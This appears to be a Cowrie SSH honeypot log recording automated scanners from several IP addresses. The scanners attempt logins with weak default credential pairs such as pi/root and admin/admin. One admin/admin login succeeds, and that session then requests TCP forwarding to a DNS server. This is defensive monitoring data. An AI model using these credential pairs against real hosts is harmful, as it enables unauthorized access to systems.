{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:58.355819Z","src_ip":"45.156.87.147","session":"dfe788d72b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:58.444451Z","src_ip":"8.219.200.1","session":"76181e26b1d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"user","message":"login attempt [openclaw/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:58.604949Z","src_ip":"45.156.87.147","session":"dfe788d72b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47052,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dd20d4ac9c7","protocol":"ssh","message":"New connection: 91.92.42.227:47052 (10.17.0.5:22) [session: 4dd20d4ac9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:59.751792Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:59.773809Z","src_ip":"45.156.87.147","session":"dfe788d72b3d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:59.867285Z","src_ip":"91.92.42.227","session":"4dd20d4ac9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:59.870671Z","src_ip":"91.92.42.227","session":"4dd20d4ac9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"root","message":"login attempt [pi/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:00.574906Z","src_ip":"91.92.42.227","session":"4dd20d4ac9c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:01.694883Z","src_ip":"91.92.42.227","session":"4dd20d4ac9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59428,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a9fed4e2f7","protocol":"ssh","message":"New connection: 87.251.64.176:59428 (10.17.0.5:22) [session: 79a9fed4e2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:03.607090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:03.611618Z","src_ip":"87.251.64.176","session":"79a9fed4e2f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:03.706502Z","src_ip":"87.251.64.176","session":"79a9fed4e2f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:03.992336Z","src_ip":"87.251.64.176","session":"79a9fed4e2f7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:04.089502Z","session":"79a9fed4e2f7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:04.184119Z","src_ip":"87.251.64.176","session":"79a9fed4e2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39472,"dst_ip":"10.17.0.5","dst_port":22,"session":"93989d9ff217","protocol":"ssh","message":"New connection: 45.156.87.147:39472 (10.17.0.5:22) [session: 93989d9ff217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:04.284076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:04.291105Z","src_ip":"45.156.87.147","session":"93989d9ff217","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:04.372615Z","src_ip":"45.156.87.147","session":"93989d9ff217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:04.417103Z","src_ip":"87.251.64.176","session":"79a9fed4e2f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:04.623178Z","src_ip":"45.156.87.147","session":"93989d9ff217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:05.709748Z","src_ip":"45.156.87.147","session":"93989d9ff217","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48974,"dst_ip":"10.17.0.5","dst_port":22,"session":"008a93ba55d2","protocol":"ssh","message":"New connection: 91.92.42.227:48974 (10.17.0.5:22) [session: 008a93ba55d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:05.875647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:06.145455Z","src_ip":"91.92.42.227","session":"008a93ba55d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:06.148496Z","src_ip":"91.92.42.227","session":"008a93ba55d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"12345678","message":"login attempt [fastuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:07.973717Z","src_ip":"91.92.42.227","session":"008a93ba55d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:09.431169Z","src_ip":"91.92.42.227","session":"008a93ba55d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57722,"dst_ip":"10.17.0.5","dst_port":22,"session":"44b9b6ad3380","protocol":"ssh","message":"New connection: 45.156.87.147:57722 (10.17.0.5:22) [session: 44b9b6ad3380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:10.762855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:10.768793Z","src_ip":"45.156.87.147","session":"44b9b6ad3380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:10.851729Z","src_ip":"45.156.87.147","session":"44b9b6ad3380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:11.107427Z","src_ip":"45.156.87.147","session":"44b9b6ad3380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:12.197582Z","src_ip":"45.156.87.147","session":"44b9b6ad3380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49038,"dst_ip":"10.17.0.5","dst_port":22,"session":"93af8a712bf0","protocol":"ssh","message":"New connection: 91.92.42.227:49038 (10.17.0.5:22) [session: 93af8a712bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:12.219347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:12.718975Z","src_ip":"91.92.42.227","session":"93af8a712bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:12.725044Z","src_ip":"91.92.42.227","session":"93af8a712bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:15.153419Z","src_ip":"91.92.42.227","session":"93af8a712bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:16.757358Z","src_ip":"91.92.42.227","session":"93af8a712bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57736,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1d7e16fd4fe","protocol":"ssh","message":"New connection: 45.156.87.147:57736 (10.17.0.5:22) [session: f1d7e16fd4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:16.850039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:16.854331Z","src_ip":"45.156.87.147","session":"f1d7e16fd4fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:16.941385Z","src_ip":"45.156.87.147","session":"f1d7e16fd4fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:17.200715Z","src_ip":"45.156.87.147","session":"f1d7e16fd4fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:18.286013Z","src_ip":"45.156.87.147","session":"f1d7e16fd4fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43092,"dst_ip":"10.17.0.5","dst_port":22,"session":"13bc536f63f5","protocol":"ssh","message":"New connection: 91.92.42.227:43092 (10.17.0.5:22) [session: 13bc536f63f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:19.287453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:19.646045Z","src_ip":"91.92.42.227","session":"13bc536f63f5","protocol":"ssh"}
